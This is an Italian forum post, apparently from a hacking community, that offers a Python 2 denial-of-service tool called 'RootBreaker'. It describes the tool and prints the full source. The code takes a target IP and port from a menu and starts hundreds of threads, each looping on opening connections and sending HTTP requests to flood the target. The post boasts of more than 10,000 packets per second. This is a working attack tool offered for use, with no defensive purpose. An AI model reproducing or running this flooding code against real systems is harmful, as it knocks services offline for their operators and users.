Ultima modifica da un moderatore:
Fast and Easy DenialOfService
Script in python, con un dns resolver, port checker , il cuore del codice è semplice, apre un thread con un socket e lo mette in attesa,se il socket perde la connessione ritenta il collegamento, ora è possibile specificare un limite di thread da creare, di quanto si vuole la velocità di drop, migliorata la velocità di creazione dei thread.
Update V1.3 con source code
Download:
Raggiunge più di 10.000 pacchetti inviati al secondo
Source:
Script in python, con un dns resolver, port checker , il cuore del codice è semplice, apre un thread con un socket e lo mette in attesa,se il socket perde la connessione ritenta il collegamento, ora è possibile specificare un limite di thread da creare, di quanto si vuole la velocità di drop, migliorata la velocità di creazione dei thread.
Update V1.3 con source code
Download:
Raggiunge più di 10.000 pacchetti inviati al secondo
Source:
Codice:
<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>
Codice:
from os import *
from socket import *
from string import *
from time import *
from thread import *
import sys
import webbrowser
def clearscreen():
import os
if os.name == "posix": # Unix/Linux/MacOS/BSD/etc
os.system('clear')
elif os.name in ("nt", "dos", "ce"): # DOS/Windows
os.system('CLS')
os.system('color a')
def progressbar(it, prefix = "", size = 60):
count = len(it)
def _show(_i):
x = int(size*_i/count)
sys.stdout.write("%s[%s%s] %i/%i\r" % (prefix, "#"*x, "."*(size-x), _i, count))
sys.stdout.flush()
_show(0)
for i, item in enumerate(it):
yield item
_show(i+1)
sys.stdout.write("\n")
sys.stdout.flush()
def isOpen(host,port):
sock = socket(AF_INET, SOCK_STREAM)
try:
sock.connect((host, port))
sock.shutdown(1)
sock.close
print "Open port"
except:
print "\n\nPort: ",port, "closed!"
print "Change Port!"
def connect(i):
sock = socket(AF_INET, SOCK_STREAM)
while True:
try:
#pid = os.fork()
sock.connect((host, port))
sock.send("Host: " + host + "\r\n\r\n")
sock.send("GET /" + host + " HTTP/1.1\r\n")
sock.close
except Exception:
pass
def run():
try:
start_new_thread(connect, (n,))
except Exception:
pass
clearscreen()
print "\n ######################"
print " # Welcome to #"
print " # RootBreaker #"
print " # 1.2 #"
print " ######################"
print " (c)2013 "
print ''
print " ____ ____ __ "
print " |_ _||_ _| | ] "
print " \ \ / / .--. _ .--. .--.| | ,--. .--. "
print " > `' < / .'`\ \[ `/'`\]/ /'`\' | `'_\ : ( (`\] "
print " _/ /'`\ \_| \__. | | | | \__/ | // | |, `'.'. "
print " |____||____|'.__.' [___] '.__.;__]\'-;__/[\__) ) "
print ""
print " coded by Xordas94"
sleep(1)
clearscreen()
conn = 800
step = 0.01
host = ( '127.0.0.1' )
port = 80
menu = 0
while menu != 9:
print " _____________________"
print " \ RootBreaker /\n"
print "Protocol: TCP/IP\n"
print 'Setup:'
print '---------------------------\n'
print ' 1. Threads = ',conn
print ' 2. Step = ',step
print ' 3. IP = ',host
print ' 4. Port = ',port
print ' 5. Start'
print ' 6. Music'
print ' 9. Esci'
print '\n---------------------------'
menu = input("Pick an item from the menu':")
if menu == 1:
clearscreen()
conn = input('\nEnter the maximum number of threads to create: ')
clearscreen()
if conn <= 0:
print 'Select a number greater than 0'
elif menu == 2:
clearscreen()
step = input("\nStep between threads spawn (in seconds, also value 0): ")
clearscreen()
elif menu == 3 :
clearscreen()
host = raw_input("\nIp: ")
clearscreen()
elif menu == 4 :
clearscreen()
print "Default port: "
print "21\t= FTP/file server"
print "23\t= TELNET"
print "25\t= SMTP relay"
print "80\t= HTTP/web server"
print "136\t= NETBIOS"
print "1521\t= Oracle database service"
print "3306\t= Mysql database\n\n"
port = input("Port: ")
isOpen(host,port)
null = raw_input('\nPremere invio per continuare. . .\n')
clearscreen()
elif menu == 5 :
clearscreen()
print '\n-----------------------------------------'
print ( "...Loading threads...\n\n" )
sleep(0.5)
n = 0
# Running with progressbar . . .
for p in progressbar(range(conn), "Threads: ",50):
run()
sleep(step) # long computation
print '-----------------------------------------\n\n'
print 'Threads are running. . .'
y = raw_input('Press exit to shut down the connections: ')
if y == 'exit':
print 'Exiting. .'
sys.exit(0)
elif menu == 6 :
webbrowser.open_new ("http://fragradio.co.uk/webplayer/")
clearscreen()
print "Exiting. . ."
sys.exit(0)
Per avere una panoramica sulle connessioni tcp
e quantità di pacchetti gestite dal sistema operativo consiglio
il programma NetWalk della Microsoft
Download NetWalk: Versioni precedenti: